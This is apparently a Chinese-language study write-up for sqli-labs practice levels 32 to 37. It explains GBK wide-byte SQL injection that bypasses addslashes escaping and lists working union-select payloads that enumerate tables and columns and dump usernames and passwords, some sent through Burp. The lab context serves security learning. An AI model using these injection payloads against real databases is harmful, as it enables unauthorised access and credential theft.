less-32
閉合測試:
可以發現id後面的數字不管用什麼符號,都會被轉譯,在前面多一個反斜線。不過:
可以從上圖原始碼的第40行發現它是用GBK編碼。mysql數據庫在使用寬字節(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大於128(比如%df),才到漢字的範圍),而且當我們輸入單引號時,mysql會調用轉義函數,將單引號變為’,其中的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節,也就是’運’,從而使單引號閉合(逃逸),進行注入攻擊。以下是轉譯過程:
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
用户输入==>过滤函数==>代码层的$sql==>mysql处理请求==>mysql中的sql
加上%df後再來測測看閉合:
可以發現會出現錯誤,代表可以注入。而這一題是用單引號閉合(從上圖反藍應該可見一斑),可以實際試試看回顯位置:
其他的注入語句就跟less-1一樣,取代上圖反藍即可。但要注意不可用到單引號,所以一些慣用查詢語句要改一下,如果需要用單引號把資料庫或table或column的名字括起來,就改用16進位。
改成16進位方式如下圖,先把想改成16進位的東西反藍,再點下圖encoding,會出現下拉式選單:
接下來選Hexadecimal encode:
可以發現轉成16進位如下圖,記得要拿掉單引號,並在前面加0x:
成果如下:
上圖反藍處可替換成查詢語句如下:
#顯示目前DB
union select null,null,database()
#顯示security DB底下的table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = database()
#顯示security DB底下的users table的column名稱:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 0x7573657273
#顯示users table的password這個column的內容
union select null,group_concat(username),group_concat(password) FROM users
less-33
閉合測試
根據上圖,一樣是單引號閉合。
之後的查詢語句跟less-32完全一樣,但記得id=1要改成id=0,查詢語句要放在下圖反藍處:
less-35
雖然看上面的錯誤好像很複雜,但其實這一題是數值型注入,如下圖:
所以也不用考慮轉譯的問題,只要把下圖反藍給換成less-32最後面提到的查詢語句即可。
less-36
一樣會有轉譯如下圖:
可以發現即使加了%df,前面還是會被多append一個反斜線(5c):
less-34
輸入admin/admin之後的畫面:
同樣的,如果輸入單引號如下圖藍字,會發現一樣會多個反斜線如下圖反灰:
由於一些注入用hackbar會失敗,所以接下來用burp。
用一樣的思路,寬字節注入,帳號輸入admin%df' union select 1,2#
從上圖可以發現,%
會被轉譯成%25,所以要把那25給拿掉。把上圖burp的request送到repeater後改一下:
可以發現拿掉25後(如上圖反藍)再送以後,就可以看到回顯點。
之後只要把上圖反藍處取代成查詢語句即可。如果想用less-32的也可以,但是要改一下,要刪掉一個null,
。因為這一次只有兩欄。
less-37
做不出來